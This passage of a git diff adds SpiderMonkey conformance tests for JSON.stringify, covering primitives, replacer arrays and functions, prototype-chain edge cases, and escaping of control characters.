+assertEq(JSON.stringify(obj, new Boolean(true)), str);
+assertEq(JSON.stringify(obj, new Number(42)), str);
+assertEq(JSON.stringify(obj, new String("aequorin")), str);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-primitives.js b/js/src/tests/non262/JSON/stringify-primitives.js
new file mode 100644
index 0000000000..3f48638b8b
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-primitives.js
@@ -0,0 +1,39 @@
+// sanity
+var x = JSON.stringify({});
+assertEq(x, "{}");
+
+// booleans and null
+x = JSON.stringify(true);
+assertEq(x, "true");
+
+x = JSON.stringify(false);
+assertEq(x, "false");
+
+x = JSON.stringify(new Boolean(false));
+assertEq(x, "false");
+
+x = JSON.stringify(null);
+assertEq(x, "null");
+
+x = JSON.stringify(1234);
+assertEq(x, "1234");
+
+x = JSON.stringify(new Number(1234));
+assertEq(x, "1234");
+
+x = JSON.stringify("asdf");
+assertEq(x, '"asdf"');
+
+x = JSON.stringify(new String("asdf"));
+assertEq(x, '"asdf"');
+
+assertEq(JSON.stringify(undefined), undefined);
+assertEq(JSON.stringify(function(){}), undefined);
+assertEq(JSON.stringify(JSON.stringify), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js b/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js
new file mode 100644
index 0000000000..561f7009c7
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js
@@ -0,0 +1,60 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-boxed-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "Boxed-string/number objects in replacer arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var S = new String(3);
+var N = new Number(4);
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return 3; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"3":3}');
+
+String.prototype.toString = function() { return 4; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return new String(42); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = function() { return new Number(17); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.valueOf = function() { return 17; };
+assertEq(JSON.stringify({ 4: 4, 17: 17 }, [N]),
+ '{"17":17}');
+
+String.prototype.valueOf = function() { return 42; };
+assertEq(JSON.stringify({ 3: 3, 42: 42 }, [S]),
+ '{"42":42}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js b/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js
new file mode 100644
index 0000000000..69192e6cae
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js
@@ -0,0 +1,69 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var bigOdd = Math.pow(2, 50) + 1;
+
+function two()
+{
+ return Math.random() < 0.5 ? 2 : "2";
+}
+
+assertEq(JSON.stringify({ 1: 1 }, [1, 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), bigOdd % two()]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new String(1)]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new Number(1)]), '{"1":1}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js b/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js
new file mode 100644
index 0000000000..e7be4c6e11
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js
@@ -0,0 +1,77 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-edgecase-jsid-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* JSID_INT_MIN/MAX copied from jsapi.h. */
+
+var obj =
+ {
+ /* [JSID_INT_MIN - 1, JSID_INT_MIN + 1] */
+ "-1073741825": -1073741825,
+ "-1073741824": -1073741824,
+ "-1073741823": -1073741823,
+
+ "-2.5": -2.5,
+ "-1": -1,
+
+ 0: 0,
+
+ 1: 1,
+ 2.5: 2.5,
+
+ /* [JSID_INT_MAX - 1, JSID_INT_MAX + 1] */
+ 1073741822: 1073741822,
+ 1073741823: 1073741823,
+ 1073741824: 1073741824,
+ };
+
+for (var s in obj)
+{
+ var n = obj[s];
+ assertEq(+s, n);
+ assertEq(JSON.stringify(obj, [n]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify numeric property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s, ]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string then number properties ('" + s + "', " + n + ") correctly");
+ assertEq(JSON.stringify(obj, [n, s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify number then string properties (" + n + ", '" + s + "') correctly");
+}
+
+// -0 is tricky, because ToString(-0) === "0", so test it specially.
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0]),
+ '{"0":42}',
+ "Failed to stringify numeric property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0"]),
+ '{"-0":17}',
+ "Failed to stringify string property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0", -0]),
+ '{"-0":17,"0":42}',
+ "Failed to stringify string then number properties ('-0', -0) correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0, "-0"]),
+ '{"0":42,"-0":17}',
+ "Failed to stringify number then string properties (-0, '-0) correctly");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js b/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js
new file mode 100644
index 0000000000..60c949a5f1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js
@@ -0,0 +1,59 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [0, 1, 2, 3];
+Object.prototype[3] = 3;
+Object.defineProperty(replacer, 1, {
+ get: function()
+ {
+ Object.defineProperty(replacer, 4, { value: 4 });
+ delete replacer[2];
+ delete replacer[3];
+ replacer[5] = 5;
+ return 1;
+ }
+});
+
+var s =
+ JSON.stringify({0: { 1: { 3: { 4: { 5: { 2: "omitted" } } } } } }, replacer);
+
+// The replacer array's length is as seen on first query, so property names are
+// accumulated for indexes i ∈ {0, 1, 2, 3}, but index 1 deletes 2 and 3, so 2
+// isn't seen but 3 is seen as Object.prototype[3].
+assertEq('{"0":{"1":{"3":{"3":3}},"3":3},"3":3}', s);
+
+
+var replacer = [0, 1, 2, 3];
+Object.defineProperty(replacer, 0, {
+ get: function()
+ {
+ replacer.length = 0;
+ return {};
+ }
+});
+
+// The replacer.length truncation means only properties on the prototype chain
+// shine through, but it doesn't affect the original bounds of the iteration
+// used to determine property names which will be included in the final string.
+assertEq(JSON.stringify({ 0: 0, 1: 1, 2: 2, 3: 3 }, replacer),
+ '{"3":3}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js b/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js
new file mode 100644
index 0000000000..6297c3a5bf
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js
@@ -0,0 +1,62 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-skipped-element.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 },
+ ["3", { toString: function() { return "4" } }]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", "true", true]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true, "true"]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", "false", false]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false, "false"]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", "undefined", undefined]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined, "undefined"]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", "null", null]),
+ '{"3":3,"null":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null, "null"]),
+ '{"3":3,"null":4}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js b/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js
new file mode 100644
index 0000000000..6eb09855fa
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "stringify-replacer-array-trailing-holes.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1217069;
+var summary =
+ "Better/more correct handling for replacer arrays with trailing holes " +
+ "through which inherited elements might appear";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { 0: "hi", 1: "n-nao", 2: "run away!", 3: "bye" };
+
+var s;
+
+var replacer = [0, /* 1 */, /* 2 */, /* 3 */, ];
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi"}');
+
+var nobj = new Number(0);
+nobj.toString = () => { replacer[1] = 1; return 0; };
+replacer[0] = nobj;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao"}');
+
+delete replacer[1];
+replacer[0] = 0;
+
+Object.prototype[0] = 0;
+Object.prototype[1] = 1;
+Object.prototype[2] = 2;
+Object.prototype[3] = 3;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao","2":"run away!","3":"bye"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js b/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js
new file mode 100644
index 0000000000..0b3f6896e5
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js
@@ -0,0 +1,56 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-with-array-indexes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "Call the replacer function for array elements with stringified indexes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4];
+
+var seenTopmost = false;
+var index = 0;
+function replacer()
+{
+ assertEq(arguments.length, 2);
+
+ var key = arguments[0], value = arguments[1];
+
+ // Topmost array: ignore replacer call.
+ if (key === "")
+ {
+ assertEq(seenTopmost, false);
+ seenTopmost = true;
+ return value;
+ }
+
+ assertEq(seenTopmost, true);
+
+ assertEq(typeof key, "string");
+ assertEq(key === index, false);
+ assertEq(key === index + "", true);
+
+ assertEq(value, index);
+
+ index++;
+
+ assertEq(this, arr);
+
+ return value;
+}
+
+assertEq(JSON.stringify(arr, replacer), '[0,1,2,3,4]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer.js b/js/src/tests/non262/JSON/stringify-replacer.js
new file mode 100644
index 0000000000..37497fd348
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer.js
@@ -0,0 +1,155 @@
+/**
+ * These return* functions are used by the
+ * replacer tests taken from bug 512447
+ */
+function returnObjectFor1(k, v)
+{
+ if (k == "1")
+ return {};
+ return v;
+}
+function returnArrayFor1(k, v)
+{
+ if (k == "1")
+ return [];
+ return v;
+}
+function returnNullFor1(k, v)
+{
+ if (k == "1")
+ return null;
+ return v;
+}
+function returnStringForUndefined(k, v)
+{
+ if (v === undefined)
+ return "undefined value";
+ return v;
+}
+var cycleObject = {}; cycleObject.cycle = cycleObject;
+function returnCycleObjectFor1(k, v)
+{
+ if (k == "1")
+ return cycleObject;
+ return v;
+}
+var array = [0, 1, 2]; array[3] = array;
+function returnCycleArrayFor1(k, v)
+{
+ if (k == "1")
+ return array;
+ return v;
+}
+
+// BEGIN TEST
+var x;
+
+x = JSON.stringify({ key: 2 },
+ function(k,v) { return k ? undefined : v; });
+assertEq(x, "{}");
+
+x = JSON.stringify(["hmm", "hmm"],
+ function(k,v) { return k !== "" ? undefined : v; });
+assertEq(x, "[null,null]");
+
+var foo = ["hmm"];
+function censor(k, v)
+{
+ if (v !== foo)
+ return "XXX";
+ return v;
+}
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX"]');
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX","XXX","XXX"]');
+
+function censor2(k, v)
+{
+ if (typeof(v) == "string")
+ return "XXX";
+ return v;
+}
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor2);
+assertEq(x, '["XXX",["XXX"],"XXX"]');
+
+foo = { bar: 42, qux: 42, quux: 42 };
+x = JSON.stringify(foo, ["bar"]);
+assertEq(x, '{"bar":42}');
+
+foo = {bar: {bar: 42, schmoo:[]}, qux: 42, quux: 42};
+x = JSON.stringify(foo, ["bar", "schmoo"]);
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]}}');
+
+x = JSON.stringify(foo, null, "");
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]},"qux":42,"quux":42}');
+
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": 42,\n "schmoo": []\n },\n "qux": 42,\n "quux": 42\n}');
+
+foo = {bar:{bar:{}}}
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": {}\n }\n}');
+
+x = JSON.stringify({ x: 1, arr: [1] },
+ function (k,v) { return typeof v === 'number' ? 3 : v; });
+assertEq(x, '{"x":3,"arr":[3]}');
+
+foo = ['e'];
+x = JSON.stringify(foo, null, '\t');
+assertEq(x, '[\n\t"e"\n]');
+
+foo = {0:0, 1:1, 2:2, 3:undefined};
+x = JSON.stringify(foo, returnObjectFor1);
+assertEq(x, '{"0":0,"1":{},"2":2}');
+
+x = JSON.stringify(foo, returnArrayFor1);
+assertEq(x, '{"0":0,"1":[],"2":2}');
+
+x = JSON.stringify(foo, returnNullFor1);
+assertEq(x, '{"0":0,"1":null,"2":2}');
+
+x = JSON.stringify(foo, returnStringForUndefined);
+assertEq(x, '{"0":0,"1":1,"2":2,"3":"undefined value"}');
+
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+try
+{
+ JSON.stringify(foo, returnCycleArrayFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+foo = [0, 1, 2, undefined];
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-special-escapes.js b/js/src/tests/non262/JSON/stringify-special-escapes.js
new file mode 100644
index 0000000000..c8a2e83815
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-special-escapes.js
@@ -0,0 +1,277 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-special-escapes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 512266;
+var summary =
+ "JSON.stringify of \\b\\f\\n\\r\\t should use one-character escapes, not hex";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify("\u0000"), '"\\u0000"');
+assertEq(JSON.stringify("\u0001"), '"\\u0001"');
+assertEq(JSON.stringify("\u0002"), '"\\u0002"');
+assertEq(JSON.stringify("\u0003"), '"\\u0003"');
+assertEq(JSON.stringify("\u0004"), '"\\u0004"');
+assertEq(JSON.stringify("\u0005"), '"\\u0005"');
+assertEq(JSON.stringify("\u0006"), '"\\u0006"');
+assertEq(JSON.stringify("\u0007"), '"\\u0007"');
+assertEq(JSON.stringify("\u0008"), '"\\b"');
+assertEq(JSON.stringify("\u0009"), '"\\t"');
+assertEq(JSON.stringify("\u000A"), '"\\n"');
+assertEq(JSON.stringify("\u000B"), '"\\u000b"');
+assertEq(JSON.stringify("\u000C"), '"\\f"');
+assertEq(JSON.stringify("\u000D"), '"\\r"');
+assertEq(JSON.stringify("\u000E"), '"\\u000e"');
+assertEq(JSON.stringify("\u000F"), '"\\u000f"');
+assertEq(JSON.stringify("\u0010"), '"\\u0010"');
+assertEq(JSON.stringify("\u0011"), '"\\u0011"');
+assertEq(JSON.stringify("\u0012"), '"\\u0012"');
+assertEq(JSON.stringify("\u0013"), '"\\u0013"');
+assertEq(JSON.stringify("\u0014"), '"\\u0014"');
+assertEq(JSON.stringify("\u0015"), '"\\u0015"');
+assertEq(JSON.stringify("\u0016"), '"\\u0016"');
+assertEq(JSON.stringify("\u0017"), '"\\u0017"');
+assertEq(JSON.stringify("\u0018"), '"\\u0018"');
+assertEq(JSON.stringify("\u0019"), '"\\u0019"');
+assertEq(JSON.stringify("\u001A"), '"\\u001a"');
+assertEq(JSON.stringify("\u001B"), '"\\u001b"');
+assertEq(JSON.stringify("\u001C"), '"\\u001c"');
+assertEq(JSON.stringify("\u001D"), '"\\u001d"');
+assertEq(JSON.stringify("\u001E"), '"\\u001e"');
+assertEq(JSON.stringify("\u001F"), '"\\u001f"');
+assertEq(JSON.stringify("\u0020"), '" "');
+
+assertEq(JSON.stringify("\\u0000"), '"\\\\u0000"');
+assertEq(JSON.stringify("\\u0001"), '"\\\\u0001"');
+assertEq(JSON.stringify("\\u0002"), '"\\\\u0002"');
+assertEq(JSON.stringify("\\u0003"), '"\\\\u0003"');
+assertEq(JSON.stringify("\\u0004"), '"\\\\u0004"');
+assertEq(JSON.stringify("\\u0005"), '"\\\\u0005"');
+assertEq(JSON.stringify("\\u0006"), '"\\\\u0006"');
+assertEq(JSON.stringify("\\u0007"), '"\\\\u0007"');
+assertEq(JSON.stringify("\\u0008"), '"\\\\u0008"');
+assertEq(JSON.stringify("\\u0009"), '"\\\\u0009"');
+assertEq(JSON.stringify("\\u000A"), '"\\\\u000A"');
+assertEq(JSON.stringify("\\u000B"), '"\\\\u000B"');
+assertEq(JSON.stringify("\\u000C"), '"\\\\u000C"');
+assertEq(JSON.stringify("\\u000D"), '"\\\\u000D"');
+assertEq(JSON.stringify("\\u000E"), '"\\\\u000E"');
+assertEq(JSON.stringify("\\u000F"), '"\\\\u000F"');
+assertEq(JSON.stringify("\\u0010"), '"\\\\u0010"');
+assertEq(JSON.stringify("\\u0011"), '"\\\\u0011"');
+assertEq(JSON.stringify("\\u0012"), '"\\\\u0012"');
+assertEq(JSON.stringify("\\u0013"), '"\\\\u0013"');
+assertEq(JSON.stringify("\\u0014"), '"\\\\u0014"');
+assertEq(JSON.stringify("\\u0015"), '"\\\\u0015"');
+assertEq(JSON.stringify("\\u0016"), '"\\\\u0016"');
+assertEq(JSON.stringify("\\u0017"), '"\\\\u0017"');
+assertEq(JSON.stringify("\\u0018"), '"\\\\u0018"');
+assertEq(JSON.stringify("\\u0019"), '"\\\\u0019"');
+assertEq(JSON.stringify("\\u001A"), '"\\\\u001A"');
+assertEq(JSON.stringify("\\u001B"), '"\\\\u001B"');
+assertEq(JSON.stringify("\\u001C"), '"\\\\u001C"');
+assertEq(JSON.stringify("\\u001D"), '"\\\\u001D"');
+assertEq(JSON.stringify("\\u001E"), '"\\\\u001E"');
+assertEq(JSON.stringify("\\u001F"), '"\\\\u001F"');
+assertEq(JSON.stringify("\\u0020"), '"\\\\u0020"');
+
+
+assertEq(JSON.stringify("a\u0000"), '"a\\u0000"');
+assertEq(JSON.stringify("a\u0001"), '"a\\u0001"');
+assertEq(JSON.stringify("a\u0002"), '"a\\u0002"');
+assertEq(JSON.stringify("a\u0003"), '"a\\u0003"');
+assertEq(JSON.stringify("a\u0004"), '"a\\u0004"');
+assertEq(JSON.stringify("a\u0005"), '"a\\u0005"');
+assertEq(JSON.stringify("a\u0006"), '"a\\u0006"');
+assertEq(JSON.stringify("a\u0007"), '"a\\u0007"');
+assertEq(JSON.stringify("a\u0008"), '"a\\b"');
+assertEq(JSON.stringify("a\u0009"), '"a\\t"');
+assertEq(JSON.stringify("a\u000A"), '"a\\n"');
+assertEq(JSON.stringify("a\u000B"), '"a\\u000b"');
+assertEq(JSON.stringify("a\u000C"), '"a\\f"');
+assertEq(JSON.stringify("a\u000D"), '"a\\r"');
+assertEq(JSON.stringify("a\u000E"), '"a\\u000e"');
+assertEq(JSON.stringify("a\u000F"), '"a\\u000f"');
+assertEq(JSON.stringify("a\u0010"), '"a\\u0010"');
+assertEq(JSON.stringify("a\u0011"), '"a\\u0011"');
+assertEq(JSON.stringify("a\u0012"), '"a\\u0012"');
+assertEq(JSON.stringify("a\u0013"), '"a\\u0013"');
+assertEq(JSON.stringify("a\u0014"), '"a\\u0014"');
+assertEq(JSON.stringify("a\u0015"), '"a\\u0015"');
+assertEq(JSON.stringify("a\u0016"), '"a\\u0016"');
+assertEq(JSON.stringify("a\u0017"), '"a\\u0017"');
+assertEq(JSON.stringify("a\u0018"), '"a\\u0018"');
+assertEq(JSON.stringify("a\u0019"), '"a\\u0019"');
+assertEq(JSON.stringify("a\u001A"), '"a\\u001a"');
+assertEq(JSON.stringify("a\u001B"), '"a\\u001b"');
+assertEq(JSON.stringify("a\u001C"), '"a\\u001c"');
+assertEq(JSON.stringify("a\u001D"), '"a\\u001d"');
+assertEq(JSON.stringify("a\u001E"), '"a\\u001e"');
+assertEq(JSON.stringify("a\u001F"), '"a\\u001f"');
+assertEq(JSON.stringify("a\u0020"), '"a "');
+
+assertEq(JSON.stringify("a\\u0000"), '"a\\\\u0000"');
+assertEq(JSON.stringify("a\\u0001"), '"a\\\\u0001"');
+assertEq(JSON.stringify("a\\u0002"), '"a\\\\u0002"');
+assertEq(JSON.stringify("a\\u0003"), '"a\\\\u0003"');
+assertEq(JSON.stringify("a\\u0004"), '"a\\\\u0004"');
+assertEq(JSON.stringify("a\\u0005"), '"a\\\\u0005"');
+assertEq(JSON.stringify("a\\u0006"), '"a\\\\u0006"');
+assertEq(JSON.stringify("a\\u0007"), '"a\\\\u0007"');
+assertEq(JSON.stringify("a\\u0008"), '"a\\\\u0008"');
+assertEq(JSON.stringify("a\\u0009"), '"a\\\\u0009"');
+assertEq(JSON.stringify("a\\u000A"), '"a\\\\u000A"');
+assertEq(JSON.stringify("a\\u000B"), '"a\\\\u000B"');
+assertEq(JSON.stringify("a\\u000C"), '"a\\\\u000C"');
+assertEq(JSON.stringify("a\\u000D"), '"a\\\\u000D"');
+assertEq(JSON.stringify("a\\u000E"), '"a\\\\u000E"');
+assertEq(JSON.stringify("a\\u000F"), '"a\\\\u000F"');
+assertEq(JSON.stringify("a\\u0010"), '"a\\\\u0010"');
+assertEq(JSON.stringify("a\\u0011"), '"a\\\\u0011"');
+assertEq(JSON.stringify("a\\u0012"), '"a\\\\u0012"');
+assertEq(JSON.stringify("a\\u0013"), '"a\\\\u0013"');
+assertEq(JSON.stringify("a\\u0014"), '"a\\\\u0014"');
+assertEq(JSON.stringify("a\\u0015"), '"a\\\\u0015"');
+assertEq(JSON.stringify("a\\u0016"), '"a\\\\u0016"');
+assertEq(JSON.stringify("a\\u0017"), '"a\\\\u0017"');
+assertEq(JSON.stringify("a\\u0018"), '"a\\\\u0018"');
+assertEq(JSON.stringify("a\\u0019"), '"a\\\\u0019"');
+assertEq(JSON.stringify("a\\u001A"), '"a\\\\u001A"');
+assertEq(JSON.stringify("a\\u001B"), '"a\\\\u001B"');
+assertEq(JSON.stringify("a\\u001C"), '"a\\\\u001C"');
+assertEq(JSON.stringify("a\\u001D"), '"a\\\\u001D"');
+assertEq(JSON.stringify("a\\u001E"), '"a\\\\u001E"');
+assertEq(JSON.stringify("a\\u001F"), '"a\\\\u001F"');
+assertEq(JSON.stringify("a\\u0020"), '"a\\\\u0020"');
+
+
+assertEq(JSON.stringify("\u0000Q"), '"\\u0000Q"');
+assertEq(JSON.stringify("\u0001Q"), '"\\u0001Q"');
+assertEq(JSON.stringify("\u0002Q"), '"\\u0002Q"');
+assertEq(JSON.stringify("\u0003Q"), '"\\u0003Q"');
+assertEq(JSON.stringify("\u0004Q"), '"\\u0004Q"');
+assertEq(JSON.stringify("\u0005Q"), '"\\u0005Q"');
+assertEq(JSON.stringify("\u0006Q"), '"\\u0006Q"');
+assertEq(JSON.stringify("\u0007Q"), '"\\u0007Q"');
